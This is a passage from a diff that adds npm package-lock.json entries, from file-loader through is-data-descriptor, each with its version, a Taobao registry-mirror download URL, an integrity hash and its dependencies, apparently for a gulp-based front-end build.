"sha1-tO7oFIq7Adzx0aw0Nn1Z4S+mHW4=", + "dev": true + }, + "file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npm.taobao.org/file-loader/download/file-loader-6.2.0.tgz?cache=0&sync_timestamp=1603816990383&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffile-loader%2Fdownload%2Ffile-loader-6.2.0.tgz", + "integrity": "sha1-uu98+OGEDfMl5DkLRISHlIDuvk0=", + "dev": true, + "requires": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "dependencies": { + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-2.0.0.tgz", + "integrity": "sha1-5MrOW4FtQloWa18JfhDNErNgZLA=", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz", + "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } + } + }, + "file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/file-uri-to-path/download/file-uri-to-path-1.0.0.tgz", + "integrity": "sha1-VTp7hEb/b2hDWcRF8eN6BdrMM90=", + "dev": true, + "optional": true + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "requires": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "filter-obj": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/filter-obj/download/filter-obj-1.1.0.tgz", + "integrity": "sha1-mzERErxsYSehbgFsbF1/GeCAXFs=" + }, + "find-cache-dir": { + "version": "3.3.1", + "resolved": "https://registry.npm.taobao.org/find-cache-dir/download/find-cache-dir-3.3.1.tgz", + "integrity": "sha1-ibM/rUpGcNqpT4Vff74x1thP6IA=", + "dev": true, + "requires": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + } + }, + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npm.taobao.org/find-up/download/find-up-4.1.0.tgz?cache=0&sync_timestamp=1597169795121&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffind-up%2Fdownload%2Ffind-up-4.1.0.tgz", + "integrity": "sha1-l6/n1s3AvFkoWEt8jXsW6KmqXRk=", + "dev": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "findup-sync": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/findup-sync/download/findup-sync-3.0.0.tgz", + "integrity": "sha1-F7EI+e5RLft6XH88iyfqnhqcCNE=", + "dev": true, + "requires": { + "detect-file": "^1.0.0", + "is-glob": "^4.0.0", + "micromatch": "^3.0.4", + "resolve-dir": "^1.0.1" + } + }, + "fined": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/fined/download/fined-1.2.0.tgz", + "integrity": "sha1-0AvszxqitHXRbUI7Aji3E6LEo3s=", + "dev": true, + "requires": { + "expand-tilde": "^2.0.2", + "is-plain-object": "^2.0.3", + "object.defaults": "^1.1.0", + "object.pick": "^1.2.0", + "parse-filepath": "^1.0.1" + } + }, + "flagged-respawn": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/flagged-respawn/download/flagged-respawn-1.0.1.tgz", + "integrity": "sha1-595vEnnd2cqarIpZcdYYYGs6q0E=", + "dev": true + }, + "flush-write-stream": { + "version": "1.1.1", + "resolved": "https://registry.npm.taobao.org/flush-write-stream/download/flush-write-stream-1.1.1.tgz", + "integrity": "sha1-jdfYc6G6vCB9lOrQwuDkQnbr8ug=", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "readable-stream": "^2.3.6" + } + }, + "for-in": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/for-in/download/for-in-1.0.2.tgz", + "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", + "dev": true + }, + "for-own": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/for-own/download/for-own-1.0.0.tgz", + "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", + "dev": true, + "requires": { + "for-in": "^1.0.1" + } + }, + "frac": { + "version": "1.1.2", + "resolved": "https://registry.npm.taobao.org/frac/download/frac-1.1.2.tgz", + "integrity": "sha1-PXT39keMiKG1AgMG10fcYxPHTQs=" + }, + "fragment-cache": { + "version": "0.2.1", + "resolved": "https://registry.npm.taobao.org/fragment-cache/download/fragment-cache-0.2.1.tgz", + "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", + "dev": true, + "requires": { + "map-cache": "^0.2.2" + } + }, + "from2": { + "version": "2.3.0", + "resolved": "https://registry.npm.taobao.org/from2/download/from2-2.3.0.tgz", + "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "fs-mkdirp-stream": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/fs-mkdirp-stream/download/fs-mkdirp-stream-1.0.0.tgz", + "integrity": "sha1-C3gV/DIBxqaeFNuYzgmMFpNSWes=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.11", + "through2": "^2.0.3" + } + }, + "fs-write-stream-atomic": { + "version": "1.0.10", + "resolved": "https://registry.npm.taobao.org/fs-write-stream-atomic/download/fs-write-stream-atomic-1.0.10.tgz", + "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "iferr": "^0.1.5", + "imurmurhash": "^0.1.4", + "readable-stream": "1 || 2" + } + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/fs.realpath/download/fs.realpath-1.0.0.tgz", + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", + "dev": true + }, + "fsevents": { + "version": "1.2.13", + "resolved": "https://registry.npm.taobao.org/fsevents/download/fsevents-1.2.13.tgz?cache=0&sync_timestamp=1612537044236&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffsevents%2Fdownload%2Ffsevents-1.2.13.tgz", + "integrity": "sha1-8yXLBFVZJCi88Rs4M3DvcOO/zDg=", + "dev": true, + "optional": true, + "requires": { + "bindings": "^1.5.0", + "nan": "^2.12.1" + } + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npm.taobao.org/function-bind/download/function-bind-1.1.1.tgz", + "integrity": "sha1-pWiZ0+o8m6uHS7l3O3xe3pL0iV0=", + "dev": true + }, + "gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npm.taobao.org/gensync/download/gensync-1.0.0-beta.2.tgz?cache=0&sync_timestamp=1603830155677&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fgensync%2Fdownload%2Fgensync-1.0.0-beta.2.tgz", + "integrity": "sha1-MqbudsPX9S1GsrGuXZP+qFgKJeA=", + "dev": true + }, + "get-caller-file": { + "version": "1.0.3", + "resolved": "https://registry.npm.taobao.org/get-caller-file/download/get-caller-file-1.0.3.tgz", + "integrity": "sha1-+Xj6TJDR3+f/LWvtoqUV5xO9z0o=", + "dev": true + }, + "get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npm.taobao.org/get-intrinsic/download/get-intrinsic-1.1.1.tgz", + "integrity": "sha1-FfWfN2+FXERpY5SPDSTNNje0q8Y=", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + } + }, + "get-stream": { + "version": "6.0.0", + "resolved": "https://registry.npm.taobao.org/get-stream/download/get-stream-6.0.0.tgz?cache=0&sync_timestamp=1597056455691&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fget-stream%2Fdownload%2Fget-stream-6.0.0.tgz", + "integrity": "sha1-PgASy2gnMZ2icG5gGhWD6GKaZxg=", + "dev": true + }, + "get-value": { + "version": "2.0.6", + "resolved": "https://registry.npm.taobao.org/get-value/download/get-value-2.0.6.tgz", + "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=", + "dev": true + }, + "glob": { + "version": "7.1.6", + "resolved": "https://registry.npm.taobao.org/glob/download/glob-7.1.6.tgz", + "integrity": "sha1-FB8zuBp8JJLhJVlDB0gMRmeSeKY=", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npm.taobao.org/glob-parent/download/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "requires": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + }, + "dependencies": { + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npm.taobao.org/is-glob/download/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "requires": { + "is-extglob": "^2.1.0" + } + } + } + }, + "glob-stream": { + "version": "6.1.0", + "resolved": "https://registry.npm.taobao.org/glob-stream/download/glob-stream-6.1.0.tgz", + "integrity": "sha1-cEXJlBOz65SIjYOrRtC0BMx73eQ=", + "dev": true, + "requires": { + "extend": "^3.0.0", + "glob": "^7.1.1", + "glob-parent": "^3.1.0", + "is-negated-glob": "^1.0.0", + "ordered-read-streams": "^1.0.0", + "pumpify": "^1.3.5", + "readable-stream": "^2.1.5", + "remove-trailing-separator": "^1.0.1", + "to-absolute-glob": "^2.0.0", + "unique-stream": "^2.0.2" + } + }, + "glob-watcher": { + "version": "5.0.5", + "resolved": "https://registry.npm.taobao.org/glob-watcher/download/glob-watcher-5.0.5.tgz", + "integrity": "sha1-qmvOZIMykk2ahIm+QePlxS1Bhtw=", + "dev": true, + "requires": { + "anymatch": "^2.0.0", + "async-done": "^1.2.0", + "chokidar": "^2.0.0", + "is-negated-glob": "^1.0.0", + "just-debounce": "^1.0.0", + "normalize-path": "^3.0.0", + "object.defaults": "^1.1.0" + } + }, + "global-modules": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/global-modules/download/global-modules-1.0.0.tgz", + "integrity": "sha1-bXcPDrUjrHgWTXK15xqIdyZcw+o=", + "dev": true, + "requires": { + "global-prefix": "^1.0.1", + "is-windows": "^1.0.1", + "resolve-dir": "^1.0.0" + } + }, + "global-prefix": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/global-prefix/download/global-prefix-1.0.2.tgz", + "integrity": "sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=", + "dev": true, + "requires": { + "expand-tilde": "^2.0.2", + "homedir-polyfill": "^1.0.1", + "ini": "^1.3.4", + "is-windows": "^1.0.1", + "which": "^1.2.14" + } + }, + "globals": { + "version": "11.12.0", + "resolved": "https://registry.npm.taobao.org/globals/download/globals-11.12.0.tgz", + "integrity": "sha1-q4eVM4hooLq9hSV1gBjCp+uVxC4=", + "dev": true + }, + "glogg": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/glogg/download/glogg-1.0.2.tgz", + "integrity": "sha1-LX3XAr7aIus7/634gGltpthGMT8=", + "dev": true, + "requires": { + "sparkles": "^1.0.0" + } + }, + "good-listener": { + "version": "1.2.2", + "resolved": "https://registry.npm.taobao.org/good-listener/download/good-listener-1.2.2.tgz", + "integrity": "sha1-1TswzfkxPf+33JoNR3CWqm0UXFA=", + "requires": { + "delegate": "^3.1.2" + } + }, + "graceful-fs": { + "version": "4.2.6", + "resolved": "https://registry.npm.taobao.org/graceful-fs/download/graceful-fs-4.2.6.tgz", + "integrity": "sha1-/wQLKwhTsjw9MQJ1I3BvGIXXa+4=", + "dev": true + }, + "growly": { + "version": "1.3.0", + "resolved": "https://registry.npm.taobao.org/growly/download/growly-1.3.0.tgz", + "integrity": "sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=", + "dev": true + }, + "gulp": { + "version": "4.0.2", + "resolved": "https://registry.npm.taobao.org/gulp/download/gulp-4.0.2.tgz", + "integrity": "sha1-VDZRBw/Q9qsKBlDGo+b/WnywnKo=", + "dev": true, + "requires": { + "glob-watcher": "^5.0.3", + "gulp-cli": "^2.2.0", + "undertaker": "^1.2.1", + "vinyl-fs": "^3.0.0" + }, + "dependencies": { + "gulp-cli": { + "version": "2.3.0", + "resolved": "https://registry.npm.taobao.org/gulp-cli/download/gulp-cli-2.3.0.tgz", + "integrity": "sha1-7A04DinlKqReR5d/DTLhj9FhEi8=", + "dev": true, + "requires": { + "ansi-colors": "^1.0.1", + "archy": "^1.0.0", + "array-sort": "^1.0.0", + "color-support": "^1.1.3", + "concat-stream": "^1.6.0", + "copy-props": "^2.0.1", + "fancy-log": "^1.3.2", + "gulplog": "^1.0.0", + "interpret": "^1.4.0", + "isobject": "^3.0.1", + "liftoff": "^3.1.0", + "matchdep": "^2.0.0", + "mute-stdout": "^1.0.0", + "pretty-hrtime": "^1.0.0", + "replace-homedir": "^1.0.0", + "semver-greatest-satisfied-range": "^1.1.0", + "v8flags": "^3.2.0", + "yargs": "^7.1.0" + } + } + } + }, + "gulp-clean-css": { + "version": "4.3.0", + "resolved": "https://registry.npm.taobao.org/gulp-clean-css/download/gulp-clean-css-4.3.0.tgz", + "integrity": "sha1-Wx5z8vykZwPrY2AUzdRVPOplFG0=", + "dev": true, + "requires": { + "clean-css": "4.2.3", + "plugin-error": "1.0.1", + "through2": "3.0.1", + "vinyl-sourcemaps-apply": "0.2.1" + }, + "dependencies": { + "through2": { + "version": "3.0.1", + "resolved": "https://registry.npm.taobao.org/through2/download/through2-3.0.1.tgz?cache=0&sync_timestamp=1593478643560&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fthrough2%2Fdownload%2Fthrough2-3.0.1.tgz", + "integrity": "sha1-OSducTwzAu3544jdnIEt07glvVo=", + "dev": true, + "requires": { + "readable-stream": "2 || 3" + } + } + } + }, + "gulp-less": { + "version": "4.0.1", + "resolved": "https://registry.npm.taobao.org/gulp-less/download/gulp-less-4.0.1.tgz", + "integrity": "sha1-NIwzpd3nogfFdxsdgmHRrBAhzu0=", + "dev": true, + "requires": { + "accord": "^0.29.0", + "less": "2.6.x || ^3.7.1", + "object-assign": "^4.0.1", + "plugin-error": "^0.1.2", + "replace-ext": "^1.0.0", + "through2": "^2.0.0", + "vinyl-sourcemaps-apply": "^0.2.0" + }, + "dependencies": { + "arr-diff": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/arr-diff/download/arr-diff-1.1.0.tgz", + "integrity": "sha1-aHwydYFjWI/vfeezb6vklesaOZo=", + "dev": true, + "requires": { + "arr-flatten": "^1.0.1", + "array-slice": "^0.2.3" + } + }, + "arr-union": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/arr-union/download/arr-union-2.1.0.tgz", + "integrity": "sha1-IPnqtexw9cfSFbEHexw5Fh0pLH0=", + "dev": true + }, + "array-slice": { + "version": "0.2.3", + "resolved": "https://registry.npm.taobao.org/array-slice/download/array-slice-0.2.3.tgz", + "integrity": "sha1-3Tz7gO15c6dRF82sabC5nshhhvU=", + "dev": true + }, + "extend-shallow": { + "version": "1.1.4", + "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-1.1.4.tgz", + "integrity": "sha1-Gda/lN/AnXa6cR85uHLSH/TdkHE=", + "dev": true, + "requires": { + "kind-of": "^1.1.0" + } + }, + "kind-of": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-1.1.0.tgz", + "integrity": "sha1-FAo9LUGjbS78+pN3tiwk+ElaXEQ=", + "dev": true + }, + "plugin-error": { + "version": "0.1.2", + "resolved": "https://registry.npm.taobao.org/plugin-error/download/plugin-error-0.1.2.tgz", + "integrity": "sha1-O5uzM1zPAPQl4HQ34ZJ2ln2kes4=", + "dev": true, + "requires": { + "ansi-cyan": "^0.1.1", + "ansi-red": "^0.1.1", + "arr-diff": "^1.0.1", + "arr-union": "^2.0.1", + "extend-shallow": "^1.1.2" + } + } + } + }, + "gulp-print": { + "version": "5.0.2", + "resolved": "https://registry.npm.taobao.org/gulp-print/download/gulp-print-5.0.2.tgz", + "integrity": "sha1-jzeRSCGNLhaEYbqnQ1LhHRv3qnU=", + "dev": true, + "requires": { + "ansi-colors": "^3.2.4", + "fancy-log": "^1.3.3", + "map-stream": "0.0.7", + "vinyl": "^2.2.0" + }, + "dependencies": { + "ansi-colors": { + "version": "3.2.4", + "resolved": "https://registry.npm.taobao.org/ansi-colors/download/ansi-colors-3.2.4.tgz", + "integrity": "sha1-46PaS/uubIapwoViXeEkojQCb78=", + "dev": true + } + } + }, + "gulp-style-aliases": { + "version": "1.1.11", + "resolved": "https://registry.npm.taobao.org/gulp-style-aliases/download/gulp-style-aliases-1.1.11.tgz", + "integrity": "sha1-Xl+RcoIIYq65f+NHrnRfkhKl570=", + "dev": true, + "requires": { + "css-aliases": "^1.1.8", + "through2": "^2.0.1" + } + }, + "gulplog": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/gulplog/download/gulplog-1.0.0.tgz", + "integrity": "sha1-4oxNRdBey77YGDY86PnFkmIp/+U=", + "dev": true, + "requires": { + "glogg": "^1.0.0" + } + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npm.taobao.org/has/download/has-1.0.3.tgz", + "integrity": "sha1-ci18v8H2qoJB8W3YFOAR4fQeh5Y=", + "dev": true, + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/has-flag/download/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/has-symbols/download/has-symbols-1.0.2.tgz?cache=0&sync_timestamp=1614443557459&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-symbols%2Fdownload%2Fhas-symbols-1.0.2.tgz", + "integrity": "sha1-Fl0wcMADCXUqEjakeTMeOsVvFCM=", + "dev": true + }, + "has-value": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/has-value/download/has-value-1.0.0.tgz", + "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", + "dev": true, + "requires": { + "get-value": "^2.0.6", + "has-values": "^1.0.0", + "isobject": "^3.0.0" + } + }, + "has-values": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/has-values/download/has-values-1.0.0.tgz", + "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", + "dev": true, + "requires": { + "is-number": "^3.0.0", + "kind-of": "^4.0.0" + }, + "dependencies": { + "kind-of": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-4.0.0.tgz", + "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "hash-base": { + "version": "3.1.0", + "resolved": "https://registry.npm.taobao.org/hash-base/download/hash-base-3.1.0.tgz", + "integrity": "sha1-VcOB2eBuHSmXqIO0o/3f5/DTrzM=", + "dev": true, + "requires": { + "inherits": "^2.0.4", + "readable-stream": "^3.6.0", + "safe-buffer": "^5.2.0" + }, + "dependencies": { + "readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-3.6.0.tgz", + "integrity": "sha1-M3u9o63AcGvT4CRCaihtS0sskZg=", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.2.1.tgz", + "integrity": "sha1-Hq+fqb2x/dTsdfWPnNtOa3gn7sY=", + "dev": true + } + } + }, + "hash-sum": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/hash-sum/download/hash-sum-1.0.2.tgz", + "integrity": "sha1-M7QHd3VMZDJXPBIMw4CLvRDUfwQ=", + "dev": true + }, + "hash.js": { + "version": "1.1.7", + "resolved": "https://registry.npm.taobao.org/hash.js/download/hash.js-1.1.7.tgz", + "integrity": "sha1-C6vKU46NTuSg+JiNaIZlN6ADz0I=", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.1" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/he/download/he-1.2.0.tgz", + "integrity": "sha1-hK5l+n6vsWX922FWauFLrwVmTw8=", + "dev": true + }, + "hmac-drbg": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/hmac-drbg/download/hmac-drbg-1.0.1.tgz", + "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", + "dev": true, + "requires": { + "hash.js": "^1.0.3", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "homedir-polyfill": { + "version": "1.0.3", + "resolved": "https://registry.npm.taobao.org/homedir-polyfill/download/homedir-polyfill-1.0.3.tgz", + "integrity": "sha1-dDKYzvTlrz4ZQWH7rcwhUdOgWOg=", + "dev": true, + "requires": { + "parse-passwd": "^1.0.0" + } + }, + "hosted-git-info": { + "version": "2.8.8", + "resolved": "https://registry.npm.taobao.org/hosted-git-info/download/hosted-git-info-2.8.8.tgz?cache=0&sync_timestamp=1615314949818&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhosted-git-info%2Fdownload%2Fhosted-git-info-2.8.8.tgz", + "integrity": "sha1-dTm9S8Hg4KiVgVouAmJCCxKFhIg=", + "dev": true + }, + "https-browserify": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/https-browserify/download/https-browserify-1.0.0.tgz", + "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", + "dev": true + }, + "human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/human-signals/download/human-signals-2.1.0.tgz", + "integrity": "sha1-3JH8ukLk0G5Kuu0zs+ejwC9RTqA=", + "dev": true + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npm.taobao.org/iconv-lite/download/iconv-lite-0.4.24.tgz", + "integrity": "sha1-ICK0sl+93CHS9SSXSkdKr+czkIs=", + "dev": true, + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npm.taobao.org/icss-utils/download/icss-utils-5.1.0.tgz?cache=0&sync_timestamp=1605801267950&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ficss-utils%2Fdownload%2Ficss-utils-5.1.0.tgz", + "integrity": "sha1-xr5oWKvQE9do6YNmrkfiXViHsa4=", + "dev": true + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npm.taobao.org/ieee754/download/ieee754-1.2.1.tgz?cache=0&sync_timestamp=1603838209136&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fieee754%2Fdownload%2Fieee754-1.2.1.tgz", + "integrity": "sha1-jrehCmP/8l0VpXsAFYbRd9Gw01I=", + "dev": true + }, + "iferr": { + "version": "0.1.5", + "resolved": "https://registry.npm.taobao.org/iferr/download/iferr-0.1.5.tgz", + "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", + "dev": true + }, + "image-size": { + "version": "0.5.5", + "resolved": "https://registry.npm.taobao.org/image-size/download/image-size-0.5.5.tgz?cache=0&sync_timestamp=1614174238000&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fimage-size%2Fdownload%2Fimage-size-0.5.5.tgz", + "integrity": "sha1-Cd/Uq50g4p6xw+gLiZA3jfnjy5w=", + "dev": true, + "optional": true + }, + "import-local": { + "version": "3.0.2", + "resolved": "https://registry.npm.taobao.org/import-local/download/import-local-3.0.2.tgz", + "integrity": "sha1-qM/QQx0d5KIZlwPQA+PmI2T6bbY=", + "dev": true, + "requires": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + } + }, + "imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npm.taobao.org/imurmurhash/download/imurmurhash-0.1.4.tgz", + "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", + "dev": true + }, + "indexes-of": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/indexes-of/download/indexes-of-1.0.1.tgz", + "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", + "dev": true + }, + "indx": { + "version": "0.2.3", + "resolved": "https://registry.npm.taobao.org/indx/download/indx-0.2.3.tgz", + "integrity": "sha1-Fdz1bunPZcAjTFE8J/vVgOcPvFA=", + "dev": true + }, + "infer-owner": { + "version": "1.0.4", + "resolved": "https://registry.npm.taobao.org/infer-owner/download/infer-owner-1.0.4.tgz", + "integrity": "sha1-xM78qo5RBRwqQLos6KPScpWvlGc=", + "dev": true + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npm.taobao.org/inflight/download/inflight-1.0.6.tgz", + "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "dev": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.4.tgz", + "integrity": "sha1-D6LGT5MpF8NDOg3tVTY6rjdBa3w=", + "dev": true + }, + "ini": { + "version": "1.3.8", + "resolved": "https://registry.npm.taobao.org/ini/download/ini-1.3.8.tgz?cache=0&sync_timestamp=1607907842483&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fini%2Fdownload%2Fini-1.3.8.tgz", + "integrity": "sha1-op2kJbSIBvNHZ6Tvzjlyaa8oQyw=", + "dev": true + }, + "interpret": { + "version": "1.4.0", + "resolved": "https://registry.npm.taobao.org/interpret/download/interpret-1.4.0.tgz", + "integrity": "sha1-Zlq4vE2iendKQFhOgS4+D6RbGh4=", + "dev": true + }, + "invert-kv": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/invert-kv/download/invert-kv-1.0.0.tgz", + "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", + "dev": true + }, + "is-absolute": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-absolute/download/is-absolute-1.0.0.tgz", + "integrity": "sha1-OV4a6EsR8mrReV5zwXN45IowFXY=", + "dev": true, + "requires": { + "is-relative": "^1.0.0", + "is-windows": "^1.0.1" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npm.taobao.org/is-arrayish/download/is-arrayish-0.2.1.tgz", + "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", + "dev": true + }, + "is-binary-path": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/is-binary-path/download/is-binary-path-1.0.1.tgz", + "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", + "dev": true, + "requires": { + "binary-extensions": "^1.0.0" + } + }, + "is-buffer": { + "version": "1.1.6", + "resolved": "https://registry.npm.taobao.org/is-buffer/download/is-buffer-1.1.6.tgz?cache=0&sync_timestamp=1604429388528&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-buffer%2Fdownload%2Fis-buffer-1.1.6.tgz", + "integrity": "sha1-76ouqdqg16suoTqXsritUf776L4=" + }, + "is-core-module": { + "version": "2.2.0", + "resolved": "https://registry.npm.taobao.org/is-core-module/download/is-core-module-2.2.0.tgz?cache=0&sync_timestamp=1606411666495&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fis-core-module%2Fdownload%2Fis-core-module-2.2.0.tgz", + "integrity": "sha1-lwN+89UiJNhRY/VZeytj2a/tmBo=", + "dev": true, + "requires": { + "has": "^1.0.3" + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz", + 